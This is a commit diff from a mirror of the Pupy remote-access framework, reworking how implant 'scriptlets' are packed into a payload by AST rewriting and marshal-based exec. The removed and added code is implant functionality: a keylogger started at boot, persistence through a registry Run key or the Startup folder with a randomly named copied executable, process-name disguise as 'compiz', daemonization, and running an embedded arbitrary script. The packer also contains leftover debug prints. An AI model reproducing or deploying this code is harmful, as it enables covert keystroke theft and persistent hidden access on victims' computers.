mirror of https://github.com/n1nj4sec/pupy.git
[WIP] Rework scriptlets
This commit is contained in:
parent
e3f3606f18
commit
3ef0a56981
|
@ -438,24 +438,22 @@ def generate_binary_from_template(display, config, osname, arch=None, shared=Fal
|
|||
return generator(display, template, config, compressed, debug), filename, makex
|
||||
|
||||
def load_scriptlets():
|
||||
scl={}
|
||||
scl = {}
|
||||
for loader, module_name, is_pkg in pkgutil.iter_modules(scriptlets.__path__):
|
||||
if is_pkg:
|
||||
module=loader.find_module(module_name).load_module(module_name)
|
||||
for loader2, module_name2, is_pkg2 in pkgutil.iter_modules(module.__path__):
|
||||
if module_name2=="generator":
|
||||
module2=loader2.find_module(module_name2).load_module(module_name2)
|
||||
if not hasattr(module2, 'ScriptletGenerator'):
|
||||
logger.error("scriptlet %s has no class ScriptletGenerator"%module_name2)
|
||||
else:
|
||||
scl[module_name]=module2.ScriptletGenerator
|
||||
if not is_pkg:
|
||||
continue
|
||||
|
||||
scriptlet = loader.find_module(module_name).load_module(module_name)
|
||||
scl[module_name] = scriptlet
|
||||
|
||||
return scl
|
||||
|
||||
def parse_scriptlets(display, args_scriptlet, os=None, arch=None, debug=False):
|
||||
scriptlets_dic = load_scriptlets()
|
||||
sp = scriptlets.scriptlets.ScriptletsPacker(os, arch, debug=debug)
|
||||
sp = scriptlets.scriptlets.ScriptletsPacker(os, arch)
|
||||
|
||||
for sc in args_scriptlet:
|
||||
tab=sc.split(",",1)
|
||||
tab = sc.split(",", 1)
|
||||
sc_args={}
|
||||
name=tab[0]
|
||||
if len(tab)==2:
|
||||
|
@ -474,14 +472,15 @@ def parse_scriptlets(display, args_scriptlet, os=None, arch=None, debug=False):
|
|||
display(Success('loading scriptlet {} with args {}'.format(repr(name), sc_args)))
|
||||
|
||||
try:
|
||||
sp.add_scriptlet(scriptlets_dic[name](**sc_args))
|
||||
sp.add_scriptlet(scriptlets_dic[name], sc_args)
|
||||
|
||||
except ScriptletArgumentError as e:
|
||||
display(MultiPart(
|
||||
Error('Scriptlet {} argument error: {}'.format(repr(name), str(e))),
|
||||
scriptlets_dic[name].format_help()))
|
||||
raise ValueError('{}'.format(e))
|
||||
|
||||
script_code=sp.pack()
|
||||
script_code = sp.pack()
|
||||
return script_code
|
||||
|
||||
class InvalidOptions(Exception):
|
||||
|
|
|
@ -0,0 +1,3 @@
|
|||
# -*- coding: utf-8 -*-
|
||||
|
||||
''' daemonize the process at startup (posix only) '''
|
|
@ -1,38 +0,0 @@
|
|||
#!/usr/bin/env python
|
||||
# -*- coding: utf-8 -*-
|
||||
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
|
||||
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
|
||||
import textwrap
|
||||
from scriptlets import Scriptlet
|
||||
|
||||
class ScriptletGenerator(Scriptlet):
|
||||
""" daemonize the process at startup (posix only) """
|
||||
|
||||
dependencies=[]
|
||||
arguments={
|
||||
}
|
||||
|
||||
def __init__(self):
|
||||
pass
|
||||
|
||||
def generate(self, os):
|
||||
return textwrap.dedent("""
|
||||
import pupy, os
|
||||
|
||||
if os.name == 'posix':
|
||||
pupy.infos['daemonize']=True
|
||||
if os.fork(): # launch child and...
|
||||
os._exit(0) # kill off parent
|
||||
os.setsid()
|
||||
if os.fork(): # launch child and...
|
||||
os._exit(0) # kill off parent again.
|
||||
os.umask(022) # Don't allow others to write
|
||||
null=os.open('/dev/null', os.O_RDWR)
|
||||
for i in range(3):
|
||||
try:
|
||||
os.dup2(null, i)
|
||||
except OSError, e:
|
||||
if e.errno != errno.EBADF:
|
||||
raise
|
||||
os.close(null)
|
||||
""")
|
|
@ -0,0 +1,19 @@
|
|||
import pupy, os
|
||||
|
||||
def main():
|
||||
if os.name == 'posix':
|
||||
pupy.infos['daemonize']=True
|
||||
if os.fork(): # launch child and...
|
||||
os._exit(0) # kill off parent
|
||||
os.setsid()
|
||||
if os.fork(): # launch child and...
|
||||
os._exit(0) # kill off parent again.
|
||||
os.umask(022) # Don't allow others to write
|
||||
null=os.open('/dev/null', os.O_RDWR)
|
||||
for i in range(3):
|
||||
try:
|
||||
os.dup2(null, i)
|
||||
except OSError, e:
|
||||
if e.errno != errno.EBADF:
|
||||
raise
|
||||
os.close(null)
|
|
@ -0,0 +1,11 @@
|
|||
# -*- coding: utf-8 -*-
|
||||
|
||||
""" change pupy process's name """
|
||||
|
||||
dependencies = {
|
||||
'linux': ['hide_process']
|
||||
}
|
||||
|
||||
arguments = {
|
||||
'name': 'ex: compiz'
|
||||
}
|
|
@ -1,28 +0,0 @@
|
|||
#!/usr/bin/env python
|
||||
# -*- coding: utf-8 -*-
|
||||
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
|
||||
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
|
||||
import textwrap
|
||||
from scriptlets import Scriptlet
|
||||
|
||||
class ScriptletGenerator(Scriptlet):
|
||||
""" change pupy process's name """
|
||||
|
||||
dependencies = {
|
||||
'linux': ['hide_process']
|
||||
}
|
||||
|
||||
arguments = {
|
||||
'name': 'ex: compiz'
|
||||
}
|
||||
|
||||
def __init__(self, name="compiz"):
|
||||
self.name=name
|
||||
|
||||
def generate(self, os):
|
||||
return textwrap.dedent("""
|
||||
import sys
|
||||
if sys.platform=="linux2":
|
||||
import hide_process
|
||||
hide_process.change_argv(argv={})
|
||||
""".format(repr(self.name)))
|
|
@ -0,0 +1,8 @@
|
|||
import sys
|
||||
|
||||
def main(name='compiz'):
|
||||
print "HIDE ARGV!!!"
|
||||
print "NAME:", name
|
||||
if sys.platform == 'linux2':
|
||||
import hide_process
|
||||
hide_process.change_argv(argv=name)
|
|
@ -1,21 +0,0 @@
|
|||
#!/usr/bin/env python
|
||||
# -*- coding: utf-8 -*-
|
||||
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
|
||||
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
|
||||
|
||||
from scriptlets import Scriptlet
|
||||
|
||||
class ScriptletGenerator(Scriptlet):
|
||||
""" start the keylogger at startup """
|
||||
|
||||
dependencies = {
|
||||
'windows': ['pupwinutils.keylogger'],
|
||||
'linux': ['pupyps', 'display', 'keylogger']
|
||||
}
|
||||
arguments={}
|
||||
|
||||
def generate(self, os):
|
||||
if os == 'windows':
|
||||
return 'import pupwinutils.keylogger; pupwinutils.keylogger.keylogger_start()'
|
||||
else:
|
||||
return 'import keylogger; import display; display.when_attached(keylogger.keylogger_start)'
|
|
@ -1,42 +0,0 @@
|
|||
#!/usr/bin/env python
|
||||
# -*- coding: utf-8 -*-
|
||||
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
|
||||
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
|
||||
import textwrap
|
||||
import random
|
||||
import string
|
||||
from scriptlets import ScriptletArgumentError, Scriptlet
|
||||
|
||||
class ScriptletGenerator(Scriptlet):
|
||||
""" copy the current pupy executable to a random exe in %TEMP% and add persistency through registry """
|
||||
|
||||
dependencies = {
|
||||
'windows': ['pupwinutils.persistence']
|
||||
}
|
||||
|
||||
arguments = {
|
||||
'method': 'available methods: registry, startup'
|
||||
}
|
||||
|
||||
def __init__(self, method="registry"):
|
||||
if method not in ("registry", "startup"):
|
||||
raise ScriptletArgumentError("unknown persistence method %s"%method)
|
||||
self.method=method
|
||||
|
||||
def generate(self, os):
|
||||
name=''.join(random.choice(string.ascii_lowercase) for _ in range(0,7))+".exe"
|
||||
if self.method=="registry":
|
||||
return textwrap.dedent("""
|
||||
import sys, shutil, os.path
|
||||
if sys.platform=="win32":
|
||||
import pupwinutils.persistence
|
||||
path=os.path.join(os.path.expandvars("%TEMP%"), {})
|
||||
shutil.copy(sys.executable, path)
|
||||
pupwinutils.persistence.add_registry_startup(path)
|
||||
""".format(name))
|
||||
else:
|
||||
return textwrap.dedent("""
|
||||
import sys, shutil, os.path
|
||||
if sys.platform=="win32":
|
||||
shutil.copy(sys.executable, os.path.expandvars("%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\{}"))
|
||||
""".format(name))
|
|
@ -1,22 +0,0 @@
|
|||
#!/usr/bin/env python
|
||||
# -*- coding: utf-8 -*-
|
||||
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
|
||||
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
|
||||
|
||||
from scriptlets import ScriptletArgumentError, Scriptlet
|
||||
|
||||
class ScriptletGenerator(Scriptlet):
|
||||
""" execute any python script before starting pupy connection ! """
|
||||
|
||||
dependencies=[]
|
||||
arguments={
|
||||
'path': 'path to the python script to embed'
|
||||
}
|
||||
|
||||
def __init__(self, path=None):
|
||||
self.script_path=path
|
||||
if self.script_path is None:
|
||||
raise ScriptletArgumentError("a path to a python script must be supplied")
|
||||
|
||||
def generate(self, os):
|
||||
return open(self.script_path, 'rb').read()
|
|
@ -3,19 +3,43 @@
|
|||
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
|
||||
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
|
||||
|
||||
import os
|
||||
|
||||
from pupylib.payloads import dependencies
|
||||
from pupylib.PupyCompile import Compiler
|
||||
from pupylib.utils.obfuscate import compress_encode_obfs
|
||||
|
||||
ROOT = os.path.abspath(os.path.join(os.path.dirname(__file__),"..","packages"))
|
||||
from ast import (
|
||||
parse,
|
||||
TryExcept, Module, FunctionDef, Num, Name, Str,
|
||||
NodeTransformer
|
||||
)
|
||||
from os import path
|
||||
|
||||
def wrap_try_except(code):
|
||||
full_code = "try:\n"
|
||||
for line in code.split("\n"):
|
||||
full_code += "\t"+line+"\n"
|
||||
full_code += "except Exception:\n\tpass\n"
|
||||
return full_code
|
||||
ROOT = path.abspath(path.join(path.dirname(__file__), '..', 'packages'))
|
||||
|
||||
WRAPPING_TEMPLATE = '''
|
||||
{scriptlet}_logger = logger.getChild("{scriptlet}")
|
||||
|
||||
try:
|
||||
# SCRIPTLET BODY GOES HERE
|
||||
{scriptlet}_main()
|
||||
except Exception, e:
|
||||
{scriptlet}_logger.exception(e)
|
||||
'''
|
||||
|
||||
class AstCompiler(Compiler):
|
||||
def __init__(self):
|
||||
self._source_ast = None
|
||||
self._main = False
|
||||
self._docstrings = False
|
||||
self._source_ast = False
|
||||
|
||||
NodeTransformer.__init__(self)
|
||||
|
||||
def add_ast(self, ast):
|
||||
if not self._source_ast:
|
||||
self._source_ast = ast
|
||||
else:
|
||||
self._source_ast.body.extend(ast.body)
|
||||
|
||||
class ScriptletArgumentError(Exception):
|
||||
pass
|
||||
|
@ -47,18 +71,16 @@ class Scriptlet(object):
|
|||
|
||||
|
||||
class ScriptletsPacker(object):
|
||||
def __init__(self, os=None, arch=None, debug=False, obfuscate=False):
|
||||
self.scriptlets = set()
|
||||
self.debug = debug
|
||||
def __init__(self, os=None, arch=None):
|
||||
self.scriptlets = {}
|
||||
self.os = os or 'all'
|
||||
self.arch = arch
|
||||
self.obfuscate = obfuscate
|
||||
|
||||
def add_scriptlet(self, sl):
|
||||
self.scriptlets.add(sl)
|
||||
def add_scriptlet(self, scriptlet, kwargs={}):
|
||||
self.scriptlets[scriptlet] = kwargs
|
||||
|
||||
def pack(self):
|
||||
fullpayload = []
|
||||
compiler = AstCompiler()
|
||||
|
||||
requirements = set()
|
||||
|
||||
|
@ -74,24 +96,50 @@ class ScriptletsPacker(object):
|
|||
requirements.add(dependency)
|
||||
|
||||
if requirements:
|
||||
try:
|
||||
fullpayload += [
|
||||
compiler.add_ast(
|
||||
parse('\n'.join([
|
||||
'import pupyimporter',
|
||||
dependencies.importer(requirements, os=self.os)
|
||||
]
|
||||
except dependencies.NotFoundError, e:
|
||||
raise ImportError('Module "{}" not found'.format(e))
|
||||
]) +'\n'))
|
||||
|
||||
for scriptlet, kwargs in self.scriptlets.iteritems():
|
||||
template = WRAPPING_TEMPLATE.format(
|
||||
scriptlet=scriptlet.__name__)
|
||||
template_ast = parse(template)
|
||||
|
||||
for scriptlet in self.scriptlets:
|
||||
if self.debug:
|
||||
fullpayload.append(scriptlet.generate(self.os))
|
||||
else:
|
||||
#if not in debug mode, catch all exception to continue an have a session if a scriptlet raises an exception
|
||||
fullpayload.append(wrap_try_except(scriptlet.generate(self.os)))
|
||||
print "SCRIPTLET", scriptlet
|
||||
print "SCRIPTLET PATH", scriptlet.__path__
|
||||
|
||||
fullpayload = '\n'.join(fullpayload)
|
||||
if self.obfuscate:
|
||||
fullpayload = compress_encode_obfs(fullpayload)
|
||||
scriptlet_ast = None
|
||||
|
||||
return fullpayload
|
||||
with open(path.join(scriptlet.__path__[0], 'scriptlet.py')) as scriptlet_src:
|
||||
scriptlet_ast = parse(scriptlet_src.read())
|
||||
|
||||
# Bind args
|
||||
# There should be top level function main
|
||||
for item in scriptlet_ast.body:
|
||||
if type(item) == FunctionDef and item.name == 'main':
|
||||
item.name = scriptlet.__name__ + '_main'
|
||||
for arg, value in zip(item.args.args, item.args.defaults):
|
||||
if arg.id in kwargs:
|
||||
default = kwargs[arg.id]
|
||||
vtype = type(value)
|
||||
if vtype == Num:
|
||||
value.n = int(default)
|
||||
elif vtype == Str:
|
||||
value.s = default
|
||||
elif vtype == Name:
|
||||
value.id = repr(default)
|
||||
|
||||
# Wrap in try/except
|
||||
for item in template_ast.body:
|
||||
if type(item) == TryExcept:
|
||||
scriptlet_ast.body.extend(item.body)
|
||||
item.body = scriptlet_ast.body
|
||||
print "FOUND BODY, NEW:", item.body
|
||||
break
|
||||
|
||||
compiler.add_ast(template_ast)
|
||||
|
||||
return 'exec marshal.loads({})'.format(
|
||||
repr(compiler.compile('scriptlets', raw=True)))
|
||||
|
|
Loading…
Reference in New Issue